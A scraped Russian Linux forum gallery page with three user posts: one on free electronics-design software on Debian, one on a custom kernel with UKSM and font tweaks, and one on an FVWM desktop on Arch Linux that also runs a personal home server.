Дистрибутив Debian. Разработка начиналась в пакетах, которые идут с дистрибутивом (последние стабильные срезы), но потом я перешел на версии CVS (только опакетил для Etch), так как предполагаю помогать проекту. Там огромнейший фронт работ по недостаткам, глюкам и фичам. В планах также написание русскоязычного руководства по использованию пакета программ: от проекта до производства. Но когда это буду делать, я еще не знаю. Поймите, времени очень мало.

Резюме: свободное ПО (с соотв. трудностями) можно использовать при производстве электроники. Предлагать переходить на это ПО людям, сто лет сидящим на ворованном OrCAD, PCAD и пр., я не советую. Пока к людям не придет осознание (либо приказ сверху), что использовать ворованный, дорогой продукт -- это очень плохо и опасно, то изменить что-то не получится. Поскольку я сам для себя хозяин в данном вопросе, и ко мне в мастерскую никакая сволочь с советами не лезет, то мне проще.

Zubok
()

Chromium, шревты и 78 метров оперативки

Галерея — Скриншоты

Собрал себе 3.11-rc3 c UKSM, потребление памяти упало в разы.
Покрутил infinality и вроде стало меньше мыла.
Думаю ещё chromium пересобрать для полного счастья.
Если ibiru ответит на мыло думаю на его сервере это не займёт много времени.
А ещё купил себе бумажную книгу, которая тоже попала в кадр.

png для ценителей

 , ,

smilessss
()

готишный админ локалхоста

Галерея — Скриншоты

В линуксах всегда очаровывала возможность крутить сервера, и при этом пользоваться им как обычным десктопом. Можно хоть убунточку водрузить, но возможность красноглазить никуда не денется и ковыйряйся пока не надоест. Надоело? Переключился на другой виртуальный рабочий стол и занялся чем-нибудь другим. Ах... В оффтопе конечно тоже, можно поставить какой-нибудь монструозный апач и эм.. нет, оффтопик не дает никакой свободы в отношении с ПеКой. Можно попытаться создать атмосферу UNIX установив какой-нибудь cygwin, bb4win, но все это будет не то. Даже отвлечься от работы нельзя, пока явно не закроешь все приложения, ибо нет рабочих столов.

В этом месяце исполняется ровно 3 года, как я перешел на светлую сторону UNIX, а начиналось все с OpenBSD: перед установкой переписал на бумажку инструкцию из интернетов по настройке сети (без dhcp) и PPPoE, установив настроил, но дальше даже с # lynx google.com не осилил поставить хотя бы иксы для более комфортной настройки. А затем установил Arch Linux - вот так и сижу до сих пор.

За все это время уже определился с окружением (на скриншоте), которое наиболее комфортное, простое и красивое: олдскульный FVWM и предпочительно консольный софт (с тёмной цветовой схемой). В FVWM сижу всего год, а до этого 2 года использовал evilwm, и как можно догадаться, - ничего, даже хоткеи со времен evilwm не изменились; «evilfvwm».

Серверное ПО для личных нужд. Провайдер бесплатно предоставляет внешний статический IPv4, а дальше настроил IPv6 tunnel, купил домен, установил жаббер (jabberd2), ибо со своего домена/сервера всегда удобней и надежнее; фтп (vsftpd) для пользователей оффтопика, чтоб обмениваться файлами; и веб (nginx, php-fpm), на котором только вчера начал вести самописанный бложик (php, sqlite3). И это тешит ЧСВ, что ты не простой юзверь, а админ локалхоста. =)
И все это ворочается на 512мб памяти. А еще это десктоп с браузером (firefox), фильмами (mplayer) и музыкой (mpd, ncmpcpp).

Очевидно, что за линуксами будущее, когда здесь возможно абсолютно все. :)

 ,

Spoofing
()